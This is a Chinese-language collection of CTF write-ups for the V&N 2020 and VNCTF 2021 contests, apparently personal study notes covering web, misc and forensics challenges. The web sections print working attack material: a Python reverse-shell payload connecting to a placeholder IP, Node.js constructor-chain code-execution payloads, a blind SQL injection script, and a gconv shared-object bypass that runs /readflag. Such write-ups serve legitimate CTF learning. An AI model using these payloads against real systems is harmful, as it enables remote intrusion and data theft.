已发生的比赛刷题
v&n 2020 (环境不好弄,看看别人的题解)
https://www.zhaoj.in/read-6407.html
CHECKIN
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell') #shell可以执行系统命令
def shell():
os.system("rm -f flag.txt") # 执行shell函数时会删除flag文件
exec_cmd = request.args.get('c') # 利用参数c来写入系统命令
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
程序在最开始打开了 flag
文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用rm -f flag.txt
)删除之后,在 /proc
这个进程的 pid
目录下的 fd 文件描述符目录下还是会有这个文件的 fd
,通过这个我们即可得到被删除文件的内容。
简而言之就是没有关闭文件,能通过/proc/[pid]/fd/xxxx 来查看被删除的文件内容
/proc/[pid]/fd
这个目录里包含了进程打开文件的情况,pid就是进程记录的打开文件的序号.
/shell?c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的ip",8089));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27
python反弹shell
小附带一个知识
$rmf = function($file){
system('rm -f -- '.escapeshellarg($file));
};
PHP 调用 system
的时候会启用一个新进程,而该进程的 cmdline
则正是由 rm -f --
在 sh 中构成的符合 \0
格式标准的字符串
/proc/sys/kernel/ns_last_pid
这个文件会记录最近一次进程使用的 PID
TimeTravel
版本php:5.6.23 (关键)
<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
highlight_file(__FILE__);
//若返回内容中有success即可读取flag
if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}
//查看文件内容
if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}
if(isset($_GET['phpinfo'])) {
phpinfo();
}
解法 HTTPoxy漏洞
所有以CGI或Fastcgi运行的程序理论上都受到影响
在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_
前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx
, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv(“HTTP_PROXY
“)就变成可被控制的了
HappyCTFd
CVE-2020-7245
当时ctfd的1day漏洞
通过分析他是如何修复的,逆向思考出利用方法
前在验证的时候没有把用户名两头的空格给去掉,直接使用拿到的参数进行比较
在保存的时候,却是保存的去掉空格之后的数据。 name = name.strip()
利用过程
注册 ”空格+管理员“
EasySpringMVC
。。。自己先大致看了一遍,但要是细看的话很多地方没看懂,也漏看了关键部分
ClentInfoFilter 类,用于从 cookie 里进行反序列化的拦截器。
第一次访问时会序列化一个新的 ClientInfo 对象,用户名 Anonymous 用户组 normal,然后 base64 之后存入 cinfo cookie。再次访问时利用这个 cookie 反序列化为之前的对象。
然后来看看 Controller 代码逻辑,需要用户名为 admin 用户组为 webmanager。
然后自己伪造
有了admin的身份后,尝试读取文件和文件上传是否存在漏洞
答案是权限不足
那么继续来看最后一个漏洞点,就是不反序列化 ClientInfo 了,尝试反序列化 Tools 类,其中有一个命令执行点。
如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化
而如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用目标类指定的writeObject或readObject
方法来实现。
修改为String数组,并增加get、set方法
覆盖即可反弹shell
misc (多了解一些吧,反正也不会)
拉胯的三条命令
nmap流量分析,查看开放端口
SYN
建立连接 ACK
响应
找同时有 SYN,ACK
的端口
ML的第一步
机器学习
给出七十组x,y ,对函数进行拟合
然后回答出x所对应的y的值
import re
import numpy as np
from pwn import *
def process(data):
x_data = []
y_data = []
for i in data:
z = i.split(',')
x = float(z[0][2:])
x_data.append(x)
y = float(z[1][2:-2])
y_data.append(y)
return (np.array(x_data),np.array(y_data))
if __name__ == '__main__':
p = remote('node4.buuoj.cn',29773)
print(p.recvline())
p.sendline('H3rmesk1t')
for i in range(4):
print(p.recvline())
p.sendline()
data = []
for i in range(70):
data.append(p.recvline())
(x,y) = process(data)
W = np.poly1d(np.polyfit(x,y,10))
print(W)
p.recvline()
p.sendline()
for i in range(10):
information = p.recvline()
xi = float(re.compile(b'When x=([0-9\.]+),y=?').findall(information)[0])
p.sendline(str(W(xi)))
print(xi,W(xi))
p.interactive()
内存取证
pslist 找到
notepad.exe pid 3552
TrueCrypt.exe pid 3364(磁盘加密工具)
mspaint.exe pid 2648(画图工具)
-f mem.raw --profile=Win7SP1x86_23418 memdump -p 3552 -D ./
notepad分析找到下载链接
mspaint.exe利用GIMP 把图像偏移对其
最后是TrueCrypt.exe使用EFDD进行挂载
最后使用VeraCrypt
Final Game
得到一个vmdk镜像文件和一个加密的压缩包
压缩包注释
Stupid mortal, you must enter the eighth circle of Hell to get the Tip of god。'=B;:?8\<;:921Uv.3,1*No'&J*)iF~%$#zy?w|{zsr8pun4rTji/PONMLKJIHGFEDCBA@?>=<;:987SRQ3IHMFKDCBf)('&%$#"!~}|{zyxwvutsrqpon,+*)i'&%${zy?}|{t:xwp6Wsrkj0QPONMLKJIHGFEDCBA@VUTYXWVUTSRKoON0LKDCgfS
the eighth circle of Hell 神曲 Malebolge
Malbolge - interpreter online (doleczek.pl)
运行得到%&^&#@()(*:";'/,,
解密压缩包得到提示
神说:要有ELF!!!
神说:要有WORD!!!
神说:要有NTFS!!!
神说:要有PDF!!!
神说:要有OSZ!!!
地狱 -- 炼狱 -- 天堂
7z打开vmdk,按时间排序,发现
Windows7_by_Lamber.vmdk\Users\lenovo\Documents\Purgatory.zip Windows7_by_Lamber.vmdk\Users\lenovo\Desktop\Door.png Windows7_by_Lamber.vmdk\Users\lenovo\Music\paradise.zip Windows7_by_Lamber.vmdk\Users\lenovo\Downloads\proverbs.pdf
dir /r
,可以看到在Door.png
这个文件后隐藏有exe文件,用工具ntfsstreameditor将其提取出来,得到Purgatory.exe
这个文件
执行得到一句话
请将该文件放入炼狱中执行(能进入天堂的是Mr.png,Mrs.jpg只能下地狱)
需要与Windows7_by_Lamber.vmdk\Program Files (x86)\Linux\Purgatorio
文件放在一起运行
Purgatorio
这个单词的意思,正是意大利语的炼狱
运行得到
智慧之神evoA说,你需要修复ELF
使用010editor修改Purgatorio
文件头
输入evoA
30e308e8e7122579b8ea2fae774d1999解md5也可以得到evoA
pdfkG@0zl_3ptmVPfa7LHuB8rs#cRdi$
,为pdf开头,推测为此pdf文件的密码,输入后打开了pdf文件
键盘密码
The password of word is capital(PROVERBS OF GOD)
得到docm文件,百度可知docm文件为一种包含宏或启用了宏的文档,用word打开后查看宏:ALT+F8,可以看到有名为LargeSB的宏(大写字母即为LSB)
运行宏得到大量base64字符串 (一眼base64隐写)
Hidden1nWord_
再看word文档的内容,为大量的16进制,FF D8 FF E0 0D 0A 1A 0A
开头,但不是FF D9
结尾,而89 50 4E 47 0D 0A 1A 0A
又是PNG的文件头,所以推测其为被修改了文件头的PNG文件,将文件头改回来后python写入文件,得到PNG图片
推测该PNG为需要密钥的LSB隐写,密钥为Hidden1nWord_
,用脚本解密,得到内容如下
The password of paradise:Bliss_Syc!!!!
解压后得到osz文件,百度可知这种文件和游戏osu!
相关,下载游戏后用游戏打开这个osz文件,发现是个可以玩的图,将这个osz文件拖进kali中,发现可以解压,解压后可以看到一个readme.jpg的文件,strings查看这个文件,在最后可以看到一些可读的数字和字符
in,map.flag,is :0036112S0038362y0042112c0055162{0110912
0118712
0135512
0142112
0158163
0200412
0203862
0216312
0219762
0225312
0231312
0251862
0302512
0312112
0318412
0329628
...
每一行数字都对应一个时间,这个时间在游戏的图中对应了flag的一个字符,比如给出的例子,在这些数字的结尾也给了相应提示:Traversing.Time
v&n 2021 ()
[VNCTF2021WEB]_s52g50pytxr6.xyz-CSDN博客 Y4tacker师傅太强了
EZ_game
修改数值开挂硬玩通关即可
修改 winTime.endtime=任意 即可
中间有很明显的一长串 [sojson.v4]的加密,拿到在线网站解就行
在控制台的话 要先把开头结尾的sojson.v4去掉
naive
import express from "express";
import bindings from "bindings";
import { fileURLToPath } from 'url'
import path from "path";
import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;
const addon = bindings("addon");
const file = fileURLToPath(import.meta.url);
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.static("static"));
app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e))));
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});
app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});
app.listen(process.env.PORT || 80);
任意文件读取、命令执行(但要通过addon.verify(code)
)
可以看出bindings(“addon”);会引入build/Release/addon.node里面的包,因此我们配合上面文件下载,访问
source?path=../build/Release/addon.node
据说逆向得到yoshino-s_want_a_gf,qq1735439536
利用 res.send(String(eval_(parse(e))));
去实现任意命令的执行了,
(1).constructor.constructor可以拿到Funtion从而实现自定义匿名函数(没怎么做过nodejs的题,好像都是两次constructor拿到Function即可)
常规payload:
code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return require('child_process').execSync(\"whoami\").toString();})")();
后来几经波折发现在package.json/source?path=../package.json
当中有一行"type": "module"
这也是本题的关键所在
当type字段指定值为module则采用ESModule规范
ES6不是CommonJS,因此不可以使用require导入,这就是前面代码执行异常的原因
动态加载模块
code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return import('child_process').then((module)=>{module.execSync(\"whoami\").toString();})")();
我们知道nodejs支持设置静态目录从而实现直接访问,在源码当中我们发现
app.use(express.static("static"));
因此把结果写入static目录下
code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return+import('child_process').then((module)=>{module.execSync(\"cat ../flag>> ./static/4.js\");})")();
最后访问
http://1adff864-6d0f-49d3-8127-db3e6f1b1167.node3.buuoj.cn/4.js
小结
const addon = bindings("addon");
会引入../build/Release/addon.node
/source?path=../package.json
查看package.json发现是ES6规范,使用import进行动态加载模块
realezjvav
登陆页面,在password使用笛卡尔积进行盲注
(select * from A,B)利用数据过多产生延时的效果
import requests
import time
url = "http://192.168.0.104:8080/user/login"
i = 0
flag = ""
while True :
i += 1
head = 32
tail = 126
while head < tail :
mid = head + tail >> 1
payload = "a' or (if(ascii(substr(password,%d,1))>%d,(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,information_schema.columns/**/B,information_schema.tables/**/C),1))#" % (i,mid)
data = {"username":"admin" , "password" : payload}
start_time = time.time()
r = requests.post(url,data = data)
print(data['password'])
end_time = time.time()
if end_time - start_time > 3:
head = mid + 1
else :
tail = mid
if head!=32:
flag += chr(head)
print(flag)
else :
break
最后得到密码是no_0ne_kn0w_th1s
(运行了一下,是真的难)
登陆后创建角色以后,发现隐藏路由searchimage路由可以任意文件读取
,因为是spring项目所以我们尝试去读取pom.xml,拼接searchimage?img=../../../../../pom.xml
(一个不多、一个不少)
能找到fastjson1.2.27的依赖,但是要用1.2.47的绕过来打
/create路由有
roleJson={"name":"123"}
配合看到的依赖,就是fastjson反序列化
直接jdbcrowsetImpl
Easy_laravel
。。。简直是神仙题目
Laravel Debug Rce 由于源码中对一些已公开的pop链做了修改。并且php版本为7.4没有assert、web目录只有session和log目录有写权限。需要自己挖一个eval的POP链。
漏洞的路由
写一个phar在logs下,一直调用phar反序列化。eval执行代码
调用phpinfo()发现有disable_funciton和open_basedir,发现禁用其他函数。但是可以用global协议查看根目录
原生类遍历根目录
发现有/readflag。可以用伪协议触发iconv bypass disable_function
生成so
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
exit(0);
}
gcc payload.c -o payload.so -shared -fPI
file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/guoke',123);
file_get_contents('/tmp/file');
misc
冰冰好像藏着秘密
FFT (傅里叶变换)
import numpy as np
import cv2 as cv
from matplotlib import pyplot as plt
img = cv.imread('1.bmp', 0)
f = np.fft.fft2(img)
logf = 20*np.log(np.abs(f))
plt.imshow(logf, 'gray')
plt.show()
但是图片无法看清
interesting_fishing
附件拿到注释.txt 和bin文件
crazyman_army是某安全公司的研究人员
这天他的其邮箱里发现了一封奇怪的邮件
你能帮助他找到其隐藏的信息吗
注意:
附件是第一部分的flag
图片是第二部分的flag
最后flag为 第一部分+第二部分
hint:powershell解码后的字符可能存在不可读的情况 那并不是解码错误
根据提示修改bin文件后缀为eml文件,并用foxmail打开
把rar和图片都保存下来
ThisIsSecret.jpg
猜测outsecret, 无密码解出后半段flag
_fr0m_l@z@RuS}
rar在myproject\giveyourflag\giveyourflag\x64\Debug目录下有Browse.VC.db
但解压下来后不见,
关闭
打开
$encodestring = "XAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQANwA4AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAMQA4AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAAzAD8AXAB1AC0ANgA1ADQAOAAxAD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAOAAyAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAwAD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgAzAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA5AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQANQA2AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA3AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANQA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgAxAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgA5AD8AXAB1AC0ANgA1ADQANQA3AD8AXAB1AC0ANgA1ADQANQAwAD8AXAB1AC0ANgA1ADQANgAzAD8AXAB1AC0ANgA1ADQANgA4AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQANwA5AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8A"
$bytes = [System.Convert]::FromBase64String($string);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes);
echo $decoded
解密得到
\u-65432?\u-65420?\u-65420?\u-65424?\u-65421?\u-65478?\u-65489?\u-65489?\u-65418?\u-65426?\u-65437?\u-65420?\u-65434?\u-65491?\u-65486?\u-65487?\u-65485?\u-65491?\u-65487?\u-65486?\u-65483?\u-65481?\u-65488?\u-65482?\u-65487?\u-65487?\u-65486?\u-65485?\u-65490?\u-65437?\u-65425?\u-65421?\u-65490?\u-65439?\u-65424?\u-65491?\u-65426?\u-65439?\u-65426?\u-65430?\u-65431?\u-65426?\u-65433?\u-65490?\u-65427?\u-65415?\u-65423?\u-65437?\u-65428?\u-65425?\u-65419?\u-65436?\u-65490?\u-65437?\u-65425?\u-65427?\u-65489?\u-65456?\u-65415?\u-65425?\u-65426?\u-65433?\u-65415?\u-65439?\u-65426?\u-65433?\u-65499?\u-65486?\u-65488?\u-65421?\u-65420?\u-65425?\u-65422?\u-65435?\u-65421?\u-65499?\u-65486?\u-65488?\u-65428?\u-65425?\u-65417?\u-65499?\u-65486?\u-65488?\u-65425?\u-65426?\u-65499?\u-65486?\u-65488?\u-65434?\u-65425?\u-65422?\u-65435?\u-65431?\u-65433?\u-65426?\u-65499?\u-65486?\u-65488?\u-65433?\u-65425?\u-65425?\u-65436?\u-65421?\u-65499?\u-65486?\u-65488?\u-65439?\u-65427?\u-65431?\u-65436?\u-65499?\u-65486?\u-65488?\u-65458?\u-65425?\u-65422?\u-65420?\u-65432?\u-65499?\u-65486?\u-65488?\u-65461?\u-65425?\u-65422?\u-65435?\u-65439?\u-65426?\u-65499?\u-65486?\u-65488?\u-65469?\u-65457?\u-65450?\u-65463?\u-65468?\u-65491?\u-65487?\u-65479?\u-65499?\u-65486?\u-65488?\u-65424?\u-65439?\u-65422?\u-65439?\u-65426?\u-65425?\u-65431?\u-65439?\u-65490?\u-65422?\u-65439?\u-65422?
RTF格式,用65536减去之后转ascii
https://vnctf-213-1257061123.cos.ap-nanjing-myqcloud.com/Pyongyang%20stores%20low%20on%20foreign%20goods%20amid%20North%20Korean%20COVID-19%20paranoia.rar
RTF格式中使用\uN?表示一个unciode字符。\u后跟一个带符号的16位十进制整数值接一个占位符,用?表示。N大于32767的话,则表示为负数。解混淆示例如下:
L”h” == 0x0068 == -(-0x0068) == -(0xFFFF+1-0x68) == -65432=\u-65432?是个链接,下载打开看到提示四位数字
工具爆破 9705 Accent RAR Password Recovery
hashcat -m 13000 -a 3 --force '$rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3bc58278b04d9fba4d7d52acb196$8$56245cd11e4a1c2e' '?d?d?d?d'
解压出来word文件
发现文件是zip文件头
进入word
目录找到,hideinfo.xml
发现是零宽隐写
Do_you_like_Rhythm_Doctor
下载节奏医生编辑器
加载文件,
左下角调到第二个,发现有8个一组,矩形(square)是零,波形是1
一行一行读取即可